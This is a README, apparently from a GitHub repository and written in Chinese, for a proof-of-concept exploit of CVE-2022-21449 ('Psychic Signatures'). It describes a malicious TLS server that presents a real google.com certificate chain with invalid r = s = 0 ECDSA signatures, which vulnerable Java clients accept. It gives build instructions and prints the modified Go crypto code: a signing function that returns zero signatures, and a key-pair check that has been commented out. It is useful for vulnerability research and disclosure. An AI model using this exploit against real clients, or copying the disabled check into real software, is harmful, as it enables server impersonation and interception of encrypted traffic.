CVE-2022-21449(在 Neil Madden 的漏洞分析文章中也被称为“Psychic Signatures”)的概念验证,演示了如何将其用于易受攻击的客户端和恶意 TLS 服务器。
恶意服务器展示了一个截至 2022-04-20 对 www.google.com 有效的证书链,该证书链带有 ECDSA 公钥(secp256r1)。但是,crypto/ecdsa 包已被修改为提供 r = s = 0 的无效签名。易受攻击的客户端接受此无效签名,从而使 TLS 握手能够继续进行。
除了在构建和探索过程中移除的 *_test.go 文件之外,恶意 TLS 服务器还需要对 golang 加密库进行这些修改。也可以通过搜索/在 go/src 目录中 grep CVE-2022-21449 来找到它们。
需要一些现有的 golang 安装以及 maven,然后运行 ./build.sh。
已在 Ubuntu 20.04.4 LTS(WSL2)上使用 OpenJDK 16.0.1(build 16.0.1+9-Ubuntu-120.04, 2021-04-20)测试。
https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4
在 crypto/ecdsa/ecdsa.go 中,函数 signGeneric 基本上被修改为:
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
// SEC 1, Version 2.0, Section 4.1.3
// CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
r = new(big.Int)
s = new(big.Int)
return
}
而在 crypto/tls/tls.go 中,函数 X509KeyPair 已被更改,以禁用针对 ECDSA 公钥的、用于验证给定私钥与 X.509 证书公钥匹配的检查:
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
...
switch pub := x509Cert.PublicKey.(type) {
...
case *ecdsa.PublicKey:
// CVE-2022-21449: Modified checks away
_, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
/*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
return fail(errors.New("tls: private key does not match public key"))
}*/
...
}